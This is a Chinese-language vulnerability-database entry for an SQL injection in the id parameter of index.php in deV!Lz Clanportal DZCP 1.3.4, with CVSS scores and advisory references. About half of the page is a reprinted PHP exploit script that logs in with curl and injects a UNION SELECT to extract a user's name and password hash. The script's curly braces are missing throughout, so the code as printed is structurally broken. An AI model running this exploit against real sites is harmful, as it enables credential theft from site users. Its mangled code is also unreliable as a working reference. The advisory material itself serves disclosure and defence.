发布时间 :2006-07-03 15:05:00
修订时间 :2011-03-07 21:38:24

[原文]SQL injection vulnerability in index.php in deV!Lz Clanportal DZCP 1.3.4 allows remote attackers to execute arbitrary SQL commands via the id parameter.

[CNNVD]deV!Lz Clanportal 'index.php'SQL注入漏洞(CNNVD-200607-009)

        deV!Lz Clanportal DZCP 1.3.4的index.php存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意SQL指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  VUPEN  ADV-2006-2628
(UNKNOWN)  BID  18762
(UNKNOWN)  XF  dzcp-index-sql-injection(27495)

- 漏洞信息

deV!Lz Clanportal 'index.php'SQL注入漏洞
高危 SQL注入
2006-07-03 00:00:00 2006-07-05 00:00:00
        deV!Lz Clanportal DZCP 1.3.4的index.php存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意SQL指令。

- 公告与补丁


- 漏洞信息 (1968)

deV!Lz Clanportal [DZCP] <= 1.34 (id) Remote SQL Injection Exploit (EDBID:1968)
php webapps
2006-07-01 Verified
0 x128
N/A [点击下载]

function exploit_init()
    if (!extension_loaded('php_curl') && !extension_loaded('curl'))
       if (!dl('') && !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");

function exploit_header()
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooo dzcp 1.34 remote sql injection oooooooooooooooooooooooo\n";
    echo "oo usage          $ php dzcp-134-exploit.php [url] [user] [pwd] [id]\n";
    echo "oo proxy support  $ php dzcp-134-exploit.php [url] [user] [pwd] [id]\n";
    echo "                  [proxy]:[port]\n";
    echo "oo example        $ php dzcp-134-exploit.php http://localhost x128 pwd 1\n";
    echo "oo you need an account on the system\n";
    echo "oo print the password of the user\n\n";

function exploit_bottom()
    echo "\noo greets   : tlm65 - i want to wish you a happy 23st birthday! thank you for\n";
    echo "              the last two years. we never become the fastest hacking group on\n";
    echo "              net without you.\n";
    echo "oo discover : x128 - alexander wilhelm - 30/06/2006\n";
    echo "oo contact  : exploit <at>                    oo website :\n";

function exploit_execute()
    $connection = curl_init();

    if ($_SERVER['argv'][5])
        curl_setopt($connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($connection, CURLOPT_PROXY, $_SERVER['argv'][5]);
    curl_setopt ($connection, CURLOPT_USERAGENT, 'x128');
    curl_setopt ($connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($connection, CURLOPT_HEADER, 0);
    curl_setopt ($connection, CURLOPT_POST, 1);
    curl_setopt ($connection, CURLOPT_COOKIE, 1);
    curl_setopt ($connection, CURLOPT_COOKIEJAR, 'exp-cookie.txt');
    curl_setopt ($connection, CURLOPT_COOKIEFILE, 'exp-cookie.txt');
    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/user/index.php?action=login&do=yes");
    curl_setopt ($connection, CURLOPT_POSTFIELDS, "user=" . $_SERVER['argv'][2] . "&pwd=" . $_SERVER['argv'][3] . "&permanent=1");

    $source = curl_exec($connection) or die("oo error - cannot connect!\n");

    curl_setopt ($connection, CURLOPT_POST, 0);
    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/user/index.php?action=msg&do=answer&id=x128");
    $source = curl_exec($connection) or die("oo error - cannot connect!\n");

    preg_match("/FROM ([0-9a-zA-Z_]*)messages/", $source, $prefix);

    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/user/index.php?action=msg&do=answer&id=" . urlencode("-1 UNION SELECT 1,1,1,1,1,1,user,pwd,1,1 FROM " . $prefix[1] . "users WHERE id = " . $_SERVER['argv'][4]));
    $source = curl_exec($connection) or die("oo error - cannot connect!\n");

    preg_match("/>([0-9a-f]{32})</", $source, $password);
    preg_match("/RE: (.*)\" class/", $source, $user);

    if ($password[1])
        echo "oo user           " . $user[1] . "\n";
        echo "oo password       " . $password[1] . "\n\n";
        echo "oo dafaced ...\n";

    curl_close ($connection);


# [2006-07-01]

- 漏洞信息

DZCP index.php id Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

DZCP contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the index.php script not properly sanitizing user-supplied input to the 'id' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-07-01 Unknow
2006-07-01 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者